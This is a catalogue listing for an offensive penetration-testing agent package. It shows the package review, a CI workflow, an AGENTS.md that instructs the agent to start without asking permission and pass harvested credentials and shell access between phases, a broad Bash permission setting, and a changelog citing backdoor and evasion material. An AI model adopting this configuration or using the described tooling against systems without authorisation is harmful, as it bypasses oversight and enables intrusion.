TalentDelta

Our site is fully accessible by humans and agents (via WebMCP).

kali-claw — Self-Evolving Penetration-Testing Agent

A self-evolving penetration-testing agent for Kali Linux, working through 139 security skill domains from OSINT and cloud exploitation to Active Directory.

A self-evolving penetration-testing agent that runs on Kali Linux and works through 139 security skill domains, from OSINT, web and cloud exploitation to Active Directory, ICS/SCADA, RF and satellite, AI/LLM security and post-quantum crypto. Each skill carries structured payloads, test cases, a defensive perspective, detection engineering (Sigma, Splunk SPL, Sysmon, Falco) and evasion notes, with a layered memory of daily logs, distilled notes and monthly chronicles.

Uploaded by TalentDelta Team Member (Scout) · via TalentDelta

Penetration TestingVulnerability AnalysisVulnerability ScanningWeb Application Security TestingAgent MemoryNetwork SecurityAI Agents
Sign in to download build 1.0.0 — free

build 1.0.0 · 9932.2 KB · published 2026-10-06 · 2512 files

Licence: MIT

Provenance

Scouted from github.com/brucesongs/kali-claw at commit ce4bc846f71c797d4d7a0d83780f29f7c899aa0f (2026-09-09). Licence MIT. Upstream credit: OpenClaw Contributors. A slide deck and a duplicate skills archive are excluded as regenerable; every other file byte-identical to the pin. Upstream code and licence stay upstream's.

Brought into the catalogue by TalentDelta Team Member (Scout).

Our review

What we like. The 139 security skills install cleanly on Hermes and load in the real skill loader; the pack's own scoring run passes 139 of 139. It ships detection and defence material beside the offensive skills.

Potential improvements. The Hermes guide needs a pass: its install URL answers 522 while hermes-agent.nousresearch.com/install.sh works, several commands it lists do not exist, and its Quick Start carries a placeholder repo path. On that route the identity files are not picked up: a new profile keeps the default soul and empty memories.

Minimum requirements. OpenClaw and a Kali Linux host for the tool steps, plus paid keys for several skills (Exa, Shodan, Burp Suite Pro). Untested here.

Security risks. Offensive-security tooling by design — evasion, anti-forensics, phishing infrastructure. Credential-shaped strings are documentation placeholders, not live keys. Nothing was run against a live target.

Fresh-install tested: skills yes, Kali runtime no.

2512 files · 26227.4 KB · previews are generated at approval and never executed

  • kali-claw-pentest-agent/.claude/scheduled_tasks.jsoncode · 0.0 KB
    {
  "tasks": []
}
  • kali-claw-pentest-agent/.claude/settings.local.jsoncode · 0.1 KB
    {
  "permissions": {
    "allow": [
      "Bash(bash *)"
    ]
  }
}
  • kali-claw-pentest-agent/.github/workflows/skill-quality.ymlcode · 3.7 KB
    name: Skill Quality Score

on:
  push:
    branches: [main]
    paths: ['skills/**', 'validation/**']
  pull_request:
    paths: ['skills/**', 'validation/**']

jobs:
  lint:
    name: SKILL Lint & Validation
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: '3.11'

      - name: Run skill-lint.py
        run: |
          python3 validation/skill-lint.py --json > lint-report.json || true
          cat lint-report.json | python3 -c "
          import json, sys
          d = json.load(sys.stdin)
          print(f'Lint: {d[\"passed\"]}/{d[\"total_skills\"]} passed, {d[\"total_errors\"]} errors, {d[\"total_warnings\"]} warnings')
          "
          # Fail on errors
          python3 -c "
          import json
          d = json.load(open('lint-report.json'))
          if d['total_errors'] > 0:
              print(f'::error::{d[\"total_errors\"]} lint errors found')
              sys.exit(1)
          "

      - name: Run validate-payloads.py
        run: |
          python3 validation/validate-payloads.py --json > payloads-report.json || true
          cat payloads-report.json | python3 -c "
          import json, sys
          d = json.load(sys.stdin)
          existing = sum(1 for r in d if r['exists'])
          print(f'Payloads: {existing}/{len(d)} existing')
          "

      - name: Run validate-testcases.py
        run: |
          python3 validation/validate-testcases.py --json > testcases-report.json || true
          cat testcases-report.json | python3 -c "
          import json, sys
          d = json.load(sys.stdin)
          existing = sum(1 for r in d if r['exists'])
          total_tcs = sum(r['stats'].get('test_cases', 0) for r in d)
          print(f'Test cases: {existing}/{len(d)} files, {total_tcs} total TCs')
          "

      - name: Upload validation reports
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: validation-reports
          path: |
            lint-report.json
            payloads-report.json
            testcases-report.json

  score:
    name: Quality Score (SCORE.sh)
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Install jq
        run: sudo apt-get install -y jq

      - name: Run SCORE.sh
        run: bash validation/SCORE.sh

      - name: Run batch-improve.sh
        run: bash validation/batch-improve.sh --top 5

      - name: Check for regressions
        run: |
          WEAK_COUNT=$(find validation/evidence/quality-scores -name "*.json" -exec jq -r '.tier' {} \; | grep -c "Weak" || true)
          if [ "$WEAK_COUNT" -gt 0 ]; then
            echo "::error::$WEAK_COUNT skills regressed to Weak tier"
            exit 1
          fi

      - name: Quality gate - block PR on score regression
        if: github.event_name == 'pull_request'
        run: |
          echo "=== Quality Gate: Score Regression Check ==="
          BASELINE_AVG=87.5
          CURRENT_AVG=$(find validation/evidence/quality-scores -name "*.json" -exec jq -r '.overall_score' {} \; | awk '{sum+=$1; n++} END {printf "%.1f", sum/n}')
          echo "Baseline average: $BASELINE_AVG"
          echo "Current average: $CURRENT_AVG"

          REGRESSED=$(awk "BEGIN {print ($CURRENT_AVG < $BASELINE_AVG - 1.0)}")
          if [ "$REGRESSED" = "1" ]; then
            echo "::error::Average score dropped from $BASELINE_AVG to $CURRENT_AVG (threshold: -1.0)"
            exit 1
          fi

          echo "Quality gate PASSED: avg=$CURRENT_AVG (baseline=$BASELINE_AVG)"

      - name: Upload score evidence
        uses: actions/upload-artifact@v4
        with:
          name: quality-scores
          path: validation/evidence/quality-scores/
  • kali-claw-pentest-agent/.gitignoretext · 0.9 KB
    # macOS
.DS_Store
.AppleDouble
.LSOverride

# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.ruff_cache/

# Editor / IDE
.idea/
.vscode/
*.swp
*.swo
*~

# OpenClaw runtime
.openclaw/
bak/

# Sensitive data (never commit)
memory/alerts.txt
*.nmap
pentest_learning_results/
penetration/

# Logs
*.log
!validation/evidence/*.log

# v0.1.45.1 CyberGym calibration - exclude heavy task artifacts
validation/evidence/cybergym/v0.1.45/traces/*.task/
validation/evidence/cybergym/v0.1.45/**/*.tar.gz
validation/evidence/cybergym/v0.1.45/**/_extracted/

# kali-claw agent stray work files (created in cwd during claude --print)
work_*
_p[0-9]*
_pctest*

# Claude Code scheduled tasks lock
.claude/scheduled_tasks.lock

# Phase 1 cleanup: prevent evidence files from re-entering repo
# (CyberGym evaluation tarballs can be 100s of MB each)
validation/evidence/cybergym/**/repo-vul.tar.gz
validation/evidence/cybergym/**/src-vul/
validation/evidence/cybergym/**/*extracted/
  • kali-claw-pentest-agent/AGENTS.mdmarkdown · 5.0 KB

    AGENTS.md - Your Workspace

    This folder is your home. Take good care of it.

    Current Version: v0.3.5 (2026-09-09) — 全量验证与完整性排序（139 技能三轴验证；机械问题三清零；排名报告上线；skill-lint 0/0/139）。详见 RELEASE-v0.3.5.md。

    Agent Config

    When copying this workspace for a new agent, only modify this section.

    • Agent Name: kali-claw
    • Runtime Environment: Kali Linux
    • Role: Penetration Testing Engineer
    • Specialty: Security tools + penetration testing + vulnerability research
    • Work Mode: 24/7 Continuous

    Every Session

    Startup sequence — don't ask for permission, just do it:

    1. Read SOUL.md — Who you are, your hacker laws
    2. Read USER.md — Who you're helping
    3. Read memory/YYYY-MM-DD.md — Get context from today + yesterday's memory
    4. In main session: Also read MEMORY.md (long-term memory)

    Law-Guided Workflow

    Before executing any task, check against the hacker laws in SOUL.md:

    • First Principles: Are you reasoning from fundamental facts, not blindly using tools?
    • Divergent Thinking: Have you considered multiple attack/defense paths?
    • Trust but Verify: Are all inputs and outputs validated?
    • Assume Breach: Have you considered the scenario where an adversary is already inside the system?

    Memory System

    You wake up fresh every session. Files are your continuity:

    Daily Notes

    memory/YYYY-MM-DD.md — Raw logs for the day. Create when needed.

    Long-term Memory

    MEMORY.md — Carefully selected distilled knowledge. Like human long-term memory.

    • Only loaded in main session (private chat)
    • Not loaded in shared environments (group chats, Discord, etc.)
    • Records important events, decisions, lessons learned
    • Regularly distill highlights from daily notes into this file

    Write It Down

    Memory is limited. If you want to remember something, write it to a file. Writing > brain.

    Red Lines

    • Never leak private data. Ever.
    • Don't run destructive commands without asking first.
    • trash > rm (recoverable is better than gone forever).
    • When in doubt, ask.

    Group Chat

    You have access to the captain's stuff, but don't share the captain's stuff. In group chats, you're a participant — not the captain's spokesperson.

    Multi-Agent Collaboration

    Roles

    RolePurposePerspective
    Attacker AgentExecute attacks and discover vulnerabilitiesRed team — offensive
    Defender AgentAnalyze detection methods and defensive measuresBlue team — defensive
    Auditor AgentIndependently verify findings and evidenceNeutral — audit

    Collaboration Protocol

    1. Attacker discovers vulnerability → documents with evidence
    2. Defender analyzes detection method and recommends defense
    3. Auditor independently reproduces and confirms finding
    4. All three perspectives are synthesized into the final report

    Engagement Orchestration

    When running a multi-phase engagement:

    Phase 1-2 (Recon/Scan): Single agent — no conflict
Phase 3-5 (Enum/Vuln/Exploit): Attacker leads, Defender monitors logs
Phase 6 (Post-Exp): Attacker executes, Defender assesses detection gaps
Phase 7 (Report): All three roles contribute perspectives

    Handoff Protocol

    Between phases, pass structured data:

    recon → scan: subdomains.txt, ip_ranges.txt, techstack.txt
scan → enum: services.json, open_ports.txt
enum → vuln: endpoints.txt, users.txt, shares.txt
vuln → exploit: vulnerabilities.json (with CVSS, PoC templates)
exploit → postexp: credentials.txt, shell_access.txt
postexp → report: findings_summary.json, evidence_manifest.txt

    Automation Scripts

    ScriptPurpose
    validation/orchestrator.shEnd-to-end engagement execution
    validation/tool-selector.shTarget-to-tool mapping
    validation/report-generator.shEvidence-to-report compilation
    validation/heartbeat.shWorkspace health monitoring
    validation/auto-backup.shAutomated backup rotation
    validation/drift-detect.shConfiguration drift detection
    validation/scenario-runner.shCross-skill scenario execution

    Tools & Skills

    • Skills define how tools work — check the corresponding SKILL.md
    • Keep local configuration notes in TOOLS.md
    • Skills directory: skills/ — each skill is independently usable
    • 139 skill domains covering all security disciplines (v0.2.4)

    Defense Triple Standard (v0.2.0.2+)

    All newly standardized SKILLs (Phase 1 + Phase 2) include the complete defense triple:

    1. Defense Perspective — Multi-layer defense matrix (table format, ≥5 layers)
    2. Detection Methods — SIEM-ready detection rules (Sigma/Splunk SPL/Sysmon/Falco)
    3. Defense Evasion Techniques — Modern attacker evasion patterns

    See SKILL_REMEDIATION_LIST.json for per-SKILL status and PHASE2_PROGRESS.md for batch tracking.

    _Last updated: 2026-09-09 (v0.3.4)

  • kali-claw-pentest-agent/BASELINE_AUDIT_DATA.txtcode · 0.6 KB
    # SKILL 库基线审查数据 (2026-07-22)

## 数据快照
总 SKILL 数:      130
有 YAML 前言:      130 /      130 (100%)
有防御视角:      113 /      130 (86%) - 需补齐 17 个
有 payloads.md:      130 /      130 (100%)
有 test-cases.md:      130 /      130 (100%)
有 guides/:      130 /      130 (100%)

## 缺失防御视角的 SKILL 清单
article-writing
autonomous-loops
browser-qa
chronicle
codebase-onboarding
concurrency-exploitation
continuous-learning
data-scraper-agent
docker-patterns
exa-search
hardware-security
knowledge-ops
mcp-server-patterns
multi-agent-collaboration
safety-guard
search-first
verification-loop
  • kali-claw-pentest-agent/CHANGELOG.mdmarkdown · 141.9 KB

    Changelog

    All notable changes to kali-claw are documented in this file.

    v0.3.5 (2026-09-09) — 全量验证与完整性排序 🏅

    139 技能三轴验证 + 机械问题清零 + 排名报告

    • 完整性主排序：均分 81.1（65-92），Excellent 57 / Good 76 / Fair 6，无 Poor
    • 可用性：bash 语法错误块 102 → 0（围栏错标/会话转录/真实 shell 缺陷/嵌套围栏四类）；占位桩 3 → 0；过时模式 6 → 0
    • 可靠性：审查龄全员 ≤2 天；Top 30 公网链接抽查 55 个（死链 5，入报告）
    • 报告：docs/SKILL_VALIDATION_RANKING_2026-09-09.md（全 139 排名表 + findings register）
    • lint 0/0/139 全程无回归

    详见 RELEASE-v0.3.5.md

    v0.3.4 (2026-09-09) — Q4 工具基线提前 🧰

    KALI_TOOLS_BASELINE_2026_09 + 漂移检查自动化

    • 0 新 MAJOR（安静月份）；上次 6 个 MAJOR 复查全稳定，v0.2.4 修复 0 回归；11 个 MINOR/PATCH；~115 rolling
    • 关闭 08 基线 Trivy 行动项：3 处 trivy-action@master 固定为 release tag（CVE-2026-33634 打击模式）
    • 新增 validation/check-tool-versions.py（08 改进项 #1 落地）：在线 apt/--version 探测 + 离线清单 + --json
    • 文档型 patch（v0.2.3.1 先例）：SKILL 修改仅 3 行；lint 0/0/139

    详见 RELEASE-v0.3.4.md

    v0.3.3 (2026-09-08) — TC 薄类清偿 & backlog 归零 🧪🏁

    88 条新 TC + 全仓评估文档 truth-sync → 非策略 open findings = 0

    • 34 个技术技能 TC 精确补到 10（三批：Web/注入 +22、网络/IoT +28、AI/平台 +32），选题全部来自 payloads 主题缺口
    • command-injection-advanced 计数口径修复（旧 Test Case N 头归一 + 4 条新用例）
    • 9 个豁免 meta 策略关闭；council 曾误归豁免——实补 2 条 TC 修正
    • Truth-sync：DoD 验证发现 ~85 行陈旧/失真 finding 残留 → 139 个评估文档全部按活体指标重算
    • 评估 backlog（P1/P2/P3 非策略）全仓归零；lint 0/0/139；testcase warning 17→16

    详见 RELEASE-v0.3.3.md

    v0.3.2 (2026-09-07) — 0-CVE 批量清偿 📦

    62 个 0-CVE 技能一次性处理（47 补 CVE / 14 策略关闭 / 1 既保留）

    • 47 个技能补入 208 个 NVD 核验 CVE（逐个 API 核验 + 人工策展剔除关键词噪声）
    • 14 个 meta/活动域策略关闭（评估文档标注 closed by policy）
    • 61 个技能重评：仓库均分 74.4 → 81.1，最低 62，无 Poor
    • 代表集：Ghidra/Keycloak/Vault/Splunk/Metasploit/hashcat（工具自反）、Stagefright/Stuxnet/Cellebrite（垂直域）、LangChain/MCP（新兴域）
    • Wave 1-3 时期评估文档统一为现行标准格式（旧 evidence 保留）
    • lint 0/0/139 无回归

    详见 RELEASE-v0.3.2.md

    v0.3.1 (2026-09-05) — Poor 技能清偿 📈

    3 个 Poor 技能全部抬到 Good/Excellent（最低分 56 → 74，Poor 清零）

    • voip-sip-attack 56→74：+5 个 NVD 核验 CVE（FreeSWITCH/Kamailio）+ 4 新 TC（toll fraud/注册劫持/BYE 注入/SRTP 降级）
    • 5g-6g-telecom-attack-advanced 59→80（Excellent）：payloads 87→347 行重建（SBA/SUCI/O-RAN/切片/fuzzing，占位垃圾清除）+ 7 CVE + 5 新 TC + T-codes 1→6
    • hardware-side-channel-advanced 59→77：payloads 86→313 行重建（CPA/模板/EM/cache-timing/DFA/Rowhammer，占位垃圾清除）+ 8 CVE + 5 新 TC + T-codes 1→5
    • rider：pqc-implementation-attack TC 5→10（F-PQI2-004 关闭；0-CVE 策略性保留）
    • 20 个新增 CVE 全部 NVD API 逐个核验；核验门剔除 1 个错误候选（CVE-2018-11091 实为其他产品）
    • lint 保持 0/0/139 无回归

    详见 RELEASE-v0.3.1.md

    v0.3.0 (2026-09-04) — PQC 实现层攻击域 🆕

    新域 pqc-implementation-attack + 退役 quantum-cryptography-transition（技能数 139 不变）

    • 新建 pqc-implementation-attack（出厂 77/100 Good，0 P1/P2）：KyberSlash 类时序、单迹 SCA、故障注入、RNG 缺陷、混合 combiner 审查、Kyber 勒索软件分诊与恢复（2026-08-06 候选评估两个 P1 落地）
    • 退役 59 分薄壳 quantum-cryptography-transition：独有组织侧矩阵并入 post-quantum-migration-attack，git 历史可找回
    • 顺手修复 docs/SKILL_INDEX.json：补 v0.2.4 两技能、删退役 → 139 条与目录对账一致
    • 内置 CVE 纪律：payloads §2.3 强制 NVD 核验门（不引不可核验编号）
    • skill-lint 0/0/139；新技能四件套验证全绿

    详见 RELEASE-v0.3.0.md

    v0.2.7 (2026-09-04) — 评估项目收尾 🏁

    Wave 4-7 一次性完成（104 SKILL）→ 评估项目 139/139 闭环

    • 批量评估 104 SKILL（Excellent 31 / Good 47 / Fair 22 / Poor 4，均分 74.4）
    • 46 P1/P2 findings 应用：37 个 ATT&CK 映射表 + 9 个参考链接扩充
    • P3 × 69 记录为 backlog
    • mitre frontmatter 补齐 45 个 → 139/139 覆盖（多次延迟的 P1 清偿）
    • TC 补充：sase-sse 12→15、vuln-assess 10→15（含机翻残留重写）
    • 文档清理：HEARTBEAT 计数 130→139、PHASE2_PROGRESS 废弃头、WORKPLAN 状态回填
    • 第 3 次月度审查并入：lint 0/0/139 无回归；NO_GUIDES 6→0

    详见 RELEASE-v0.2.7.md

    v0.2.6 (2026-08-29) — 第 2 次月度审查 🔍

    验证 v0.2.5.x 系列 5 个 patch 后稳定性

    • A.1 skill-lint: 139/139 pass, 0/0（无回归）
    • A.2 新 SKILL 抽样: 2 个 v0.2.4 SKILL 稳定
    • A.3 GitHub: 0 open issues / 0 open PRs
    • A.4 评估进度: 35/139（25%）, 37 findings applied
    • A.5 v0.2.5.x: 5 patches 37 findings 0 回归 ✅

    详见 RELEASE-v0.2.6.md

    v0.2.5.5 (2026-08-19) — 批量补 ATT&CK 映射 🛠️

    5 个 P1 finding 修复（0 ATT&CK → 补映射）

    SKILL新增 T-codes
    deep-research5 行（T1592/T1595/T1589/T1213/T1082）
    deception-honeypot6 行（T1595/T1190/T1046/T1098/T1071/T1560）
    social-intelligence5 行（T1592.003/T1566.002/T1566.003 等）
    cloud-security7 行（T1580/T1078.004/T1530/T1552.005/T1496/T1610/T1555.006）
    ai-security6 行（T1592.005/T1190/T1562.001/T1557/T1195.001/T1005）

    详见 RELEASE-v0.2.5.5.md

    v0.2.5.4 (2026-08-17) — 应用 Wave 2 实战 findings 🛠️

    4 个 findings 应用到 3 个 SKILL

    SKILLP1P2新增行
    dns-attacks11+33
    blockchain-l2-attack—1+43
    quantum-crypto-attack——+46

    关键新增

    • dns-attacks：6 行 ATT&CK 映射 + 8 个参考（含 SIGRed CVE-2020-1350 CVSS 10.0）
    • blockchain-l2：7 个重大桥攻击事件（Ronin/Poly/Wormhole/Nomad 等）
    • quantum-crypto：Kyber 勒索软件 2026-03 事件 + 密钥对比 + SNDL 时间线

    详见 RELEASE-v0.2.5.4.md

    v0.2.5.3 (2026-08-17) — 应用 Wave 1 Batch 2 实战 findings 🛠️

    11 个 findings 应用到 5 个 SKILL

    SKILLFindingsP1新增行
    vulnerability-assessmentF-VA-001~0031+33
    patch-to-poc-pipelineF-PP-001~002—+74
    sase-sse-attackF-SASE-001~002—+35
    reverse-engineering-advancedF-RE-001~002—+52
    gitops-securityF-GIT-001~002—+108

    关键新增

    • vulnerability-assessment：6 行 ATT&CK 映射 + 8 个权威参考链接
    • patch-to-poc：5 行 ATT&CK 映射 + pwntools ret2libc/ROP/one-gadget 模板
    • sase-sse：Zscaler/Netskope/Cloudflare 9 个 CVE
    • reverse-eng：Ghidra 内置脚本清单 + 5 个 RE CVE
    • gitops：gitleaks + detect-secrets + Kyverno + OPA/conftest

    详见 RELEASE-v0.2.5.3.md

    v0.2.5.2 (2026-08-16) — 批量应用实战 findings（4 SKILL × 14 findings）🛠️

    首个批量应用实战 findings 的 patch

    将 4 次实战验证（2026-08-13 ~ 08-16）发现的 14 个 SKILL gap 一次性应用到 4 个 SKILL。

    14 个 findings 全部应用

    SKILLFindingsP0P1新增行
    blockchain-web3F-BC-001~003——+87
    pam-privilege-attackF-PAM-001~004—1+104
    automotive-vehicle-securityF-AUTO-001~003—1+105
    embedded-rtos-securityF-RTOS-001~00411+106

    关键新增内容

    • F-RTOS-001 P0：固件数据库凭据提取模式（SQLite → 明文密码）
    • F-PAM-001 P1：Kali 2026.1 yescrypt hash 说明
    • F-AUTO-001 P1：candump ARM64 ABI 问题 + python-can 替代
    • PAM 后门完整 C 源码 + 植入指南
    • python-can 5 个攻击脚本（嗅探/注入/DoS/UDS/映射）
    • 重入攻击完整 Python 脚本

    指标

    维度v0.2.5.1v0.2.5.2
    SKILL 总数139139
    skill-lint0/0/1390/0/139
    实战 findings 累计关闭4/1818/18 ✅

    详见 RELEASE-v0.2.5.2.md

    v0.2.5.1 (2026-08-12) — ics-fieldbus-attack 实战改进 🛠️

    首个基于实战验证反馈的 SKILL 改进 patch

    基于 2026-08-10 对 ics-fieldbus-attack 在真实 OpenPLC（GRFICSv3）上的实战验证发现的 4 个 SKILL gap，全部修复。

    4 个 findings 全部应用（F-008 ~ F-011）

    Finding优先级内容
    F-008P0补 openplc:openplc 默认凭据 + 完整利用链
    F-009P1澄清 nmap modbus-discover 对 OpenPLC 返回 ILLEGAL FUNCTION 是预期行为
    F-010P2补 HR 0xFFFF 内存泄漏模式（OpenPLC ST runtime 未初始化变量）
    F-011P3补 Werkzeug 2.3.7 + Python 3.9.2 版本指纹（CVE-2023-46136 / Python EOL）

    改动

    • skills/ics-fieldbus-attack/payloads.md 新增 §21（OpenPLC Web HMI + Modbus TCP 实战发现，6 子节，+119 行）
    • skills/ics-fieldbus-attack/SKILL.md last_reviewed 2026-07-26 → 2026-08-12

    指标对比

    维度v0.2.5v0.2.5.1
    SKILL 总数139139（不变）
    skill-lint0/0/1390/0/139
    payloads.md 总行数28532972 (+119)
    实战 findings 关闭数0/44/4 ✅

    详见 RELEASE-v0.2.5.1.md

    v0.2.5 (2026-08-09) — 月度质量审查（A+B 范围）🔍

    第 1 次 v0.2.4 后月度审查（提前至 2026-08-09）

    • A.1：skill-lint 全量审查 ✅（139/139 pass，0/0 errors/warnings）
    • A.2：2 个新 SKILL 使用反馈抽样 ✅（eu-ai-act + ai-agent-supply-chain，稳定）
    • A.3：GitHub Issues / PRs 检查 ✅（0 open）
    • B：处理 v0.2.3.2 deferred 的 3 个 P3 ATT&CK 显式映射 ✅

    新增 ATT&CK Mapping（3 个 SKILL）

    SKILL新增 ATT&CK 技术数
    multi-agent-runtime-engineering6
    blockchain-l2-attack7
    quantum-crypto-attack7（含 2026-03 Kyber ransomware 映射 T1486/T1529）

    指标对比

    维度v0.2.4v0.2.5
    SKILL 总数139139（不变）
    skill-lint0/0/1390/0/139（保持）
    P3 findings 关闭数0/33/3 ✅

    详见 RELEASE-v0.2.5.md + chronicle/2026-09/skill-review-2026-08-09.md

    v0.2.4 (2026-08-08) — Phase 2 Track 1 Minor Release 🚀

    里程碑：3 阶段累积发布，SKILL 137 → 139

    • Stage A (MAJOR 工具修复) ✅
    • Stage B (P1/P2 findings 落地) ✅
    • Stage C (2 个新 P0 SKILL) ✅
    • Stage D (release + 文档同步) ✅

    新增 SKILLs

    SKILL域触发事件
    eu-ai-act-compliance-redteamai-complianceEU AI Act 2026-08-02 强制执行
    ai-agent-supply-chain-attackai-supply-chainHF 2026-07 "Chernobyl moment"

    Stage A — MAJOR 工具升级影响修复

    • Frida 16→17：45 处 Module.findExportByName(null, ...) → getGlobalExportByName
    • Hashcat 7：移除 -O 标志（v7 dropped）
    • Docker 27→29：12 处 docker-compose <cmd> → docker compose <cmd>
    • 跳过（无破坏）：openssl 3→4、radare2 5→6、Ghidra 11→12

    Stage B — Defense Perspective Findings（来自 v0.2.3.2）

    • P1：multi-agent-runtime-engineering 增加对称映射表
    • P1：quantum-crypto-attack 补 NIST PQC 2026 进展
    • P2：automotive-vehicle-security / quantum-crypto-attack / blockchain-l2-attack 层级分类

    指标对比

    维度v0.2.3.3v0.2.4
    SKILL 总数137139
    AI 类 SKILL68
    skill-lint0/0/1370/0/139

    详见 RELEASE-v0.2.4.md

    v0.2.3.3 (2026-08-06) — 年度战略评估 🎯

    5 候选 SKILL 方向评估

    候选评分 (/75)推荐
    EU AI Act 合规红队100P0
    AI Agent 供应链攻击100P0
    PQC 实施层攻击36P1
    Kyber 勒索软件36P1
    Deepfake 身份冒充24P2
    CPU side-channel 20262❌ 不推荐
    6G RF 物理层12❌ 不推荐（已覆盖）

    详见 RELEASE-v0.2.3.3.md

    v0.2.3.2 (2026-08-06) — Defense Perspective 内容质量抽样审查 🔍

    6 个高频攻击类 SKILL 抽样

    SKILL评分
    ics-fieldbus-attack5.0/5 🏆
    patch-to-poc-pipeline5.0/5 🏆
    automotive-vehicle-security4.5/5
    multi-agent-runtime-engineering3.75/5
    blockchain-l2-attack3.75/5
    quantum-crypto-attack3.5/5

    平均 4.2/5；0 P0 critical；2 P1 + 3 P2 + 3 P3 findings

    详见 RELEASE-v0.2.3.2.md

    v0.2.3.1 (2026-08-06) — Q3 工具基线更新 🔄

    6 个 MAJOR 版本跃迁

    • hashcat 6→7、ghidra 11→12、frida 16→17、docker 27→29、openssl 3→4、radare2 5→6

    Trivy 供应链攻击事件警告

    • CVE-2026-33634（2026-03-19）：恶意 trivy v0.69.4 + 75+ trivy-action tags

    详见 RELEASE-v0.2.3.1.md + KALI_TOOLS_BASELINE_2026_08.md

    v0.2.3 (2026-08-05) — MISSING_SECTION 清零 🧹

    Phase 2 Track 1 增量补丁

    • Linter 智能化：模板适用性豁免（defense_triple_required: false 联动 REQUIRED_SECTIONS）+ Methodology≥50 行启发式
    • 56 → 0 warnings
    • 5 个攻击类 SKILL 补 Core Tools / Practical Steps

    详见 RELEASE-v0.2.3.md

    v0.2.2 (2026-08-05) — Defense Perspective 标准化 🛡️

    Phase 2 Track 1 月度质量审查

    • Linter 严格化：H3 锚定 + defense_triple_required 字段 + DEFENSE_PERSPECTIVE_WRONG_LEVEL 错误码
    • 修复 v0.2.1 声称的 "100% Defense Triple 覆盖" 实际只有 54% 严格匹配的问题
    • 45 个 H2→H3 层级修复 + 4 个字面打字错误 + 2 个攻击类补写 + 1 个翻译残留清零

    详见 RELEASE-v0.2.2.md

    v0.2.1 (2026-07-30) — Phase 1 全部完成 (Stable Release) 🎯

    里程碑：Phase 1 5 大任务全部交付

    • Task 1.1: SKILL 全量审查 ✅
    • Task 1.2: 137 SKILL 标准化 (100%) ✅
    • Task 1.3: 7 个新 SKILL 创建 ✅
    • Task 1.4: 6 个文档输出 ✅
    • Task 1.5: 5 个自动化脚本 ✅

    最终指标

    指标起点 (v0.2.0.1)终点 (v0.2.1)
    SKILL 总数130137
    v0.2.0.2 覆盖0%100%
    Defense Triple部分100%
    文档输出06 个
    自动化脚本15 个
    .git/ 大小3.7 GB19 MB
    实际工时-~45h (vs 计划 80-100h)

    详见 RELEASE-v0.2.1.md。

    v0.2.0.8 (2026-07-29) — Task 1.3 完成 (7 个新 SKILL)

    7 个新战略 SKILL 创建：ai-safety-redteam-advanced、identity-provider-attack、data-loss-prevention-bypass、edge-computing-security、quantum-cryptography-transition、hardware-side-channel-advanced、5g-6g-telecom-attack-advanced。SKILL 总数 130 → 137。

    详见 RELEASE-v0.2.0.8.md。

    v0.2.0.7 (2026-07-28) — Phase 2 全部完成 (130/130 = 100%)

    Phase 2 Batch 6-10 完成。全部 130 个 SKILL 达到 v0.2.0.2 Defense Triple 标准 (100%)。

    详见 RELEASE-v0.2.0.7.md。

    v0.2.0.6 (2026-07-27) — Phase 2 半程 (50%)

    Phase 2 Batch 3-5 完成 (30 SKILLs)。累计 65/130 (50%)。

    详见 RELEASE-v0.2.0.6.md。

    v0.2.0.5 (2026-07-26) — Phase 2 Batch 1-2 + 文档基线对齐

    Phase 2 Batch 1-2 (20 SKILLs) + 仓库瘦身 (3.7 GB → 19 MB) + 全部核心文档对齐 v0.2.0.4。

    详见 RELEASE-v0.2.0.5.md。

    v0.2.0.4 (2026-07-24) — Phase 1 Task 1.2 Phase 1 完成 (15/15 = 100%) 🎉

    Milestone: Phase 1 第一阶段全部完成

    15 个高优先级 SKILL 全部完成深度质量升级，达到 100% 完成度。

    Day 4 新增完成（3 个 P1 SKILL）

    • container-security: 拆分原合并章节为独立 Detection（5 类）+ Evasion（6 类）
    • binary-reverse: 扩展 Detection（5 类）+ 新增完整 Evasion（7 类）
    • exploit-development: 全新创建 Detection（6 类）+ Evasion（6 类），含现代防御绕过（AMSI/ETW/BYOVD）

    累计 Phase 1 Phase 1 完成 SKILLs (15/15 = 100%)

    P0 核心域 (3): network-pentest, post-exploitation, web-xss
    P1 重要域 (12): web-sqli, web-ssrf, web-auth-bypass, api-security, password-attack, privilege-escalation, social-engineering, osint, cloud-security, container-security, binary-reverse, exploit-development

    关键质量指标

    指标v0.2.0.1v0.2.0.4提升
    高优先级 SKILL 完成数0/1515/15+15
    Phase 1 第一阶段完成度0%100%+100%
    SKILL 版本统一各为 0.1.x全部 v0.2.0.2+100%
    防御视角表格化部分100%显著
    检测方法章节30%100%+70%
    防御规避技术章节20%100%+80%
    翻译残留多处全部清零100% 清理

    详细说明

    详见 RELEASE-v0.2.0.4.md（正式中文发布版本）。

    v0.2.0.3 (2026-07-21) — Phase 1 Day 3 完成 (12/15 = 80%)

    +4 P1 SKILLs 完成

    • privilege-escalation: 新增 Detection (4 类) + Evasion (6 类，覆盖 Linux/Windows/Container)
    • social-engineering: 扩展 Detection (4 类) + 新增 Evasion (6 类，含 BEC/deepfake/Quishing)
    • osint: 新增 Detection (5 类，含 Canary tokens/蜜罐识别) + Evasion (7 类)
    • cloud-security: 新增 Detection (6 类) + Evasion (6 类，含 CloudTrail evasion/STS 链)

    详见 RELEASE-v0.2.0.3.md（已重写为正式对外发布的中文版本）。

    v0.2.0.2 (2026-07-19) — Phase 1 Day 1-2 完成 (8/15 = 53%)

    Day 1 (4 SKILLs)

    • network-pentest (P0): 修复严重翻译残留 (35+ → 0)；Defense 表格化 (8 层)；Detection/Evasion 双章节
    • post-exploitation (P0): 翻译修复；9 层 Defense 表格（含 Tiered Admin/AMSI）
    • web-xss (P0): 新增 Detection Methods (4 类) + Defense Evasion (5 类)
    • web-sqli (P1): 修复 5 处翻译残留；OOB 数据外带；跨数据库攻击

    Day 2 (4 SKILLs)

    • web-ssrf (P1): 修复 17 处翻译残留；Defense 表格化清理
    • web-auth-bypass (P1): 新增 Detection (4 类，含 MFA fatigue/impossible travel) + Evasion (5 类)
    • api-security (P1): 扩展 Detection (3 新类) + 新增 Evasion (5 类，含 BOLA/JWT/GraphQL)
    • password-attack (P1): 版本升级（内容已完善）

    关键修正

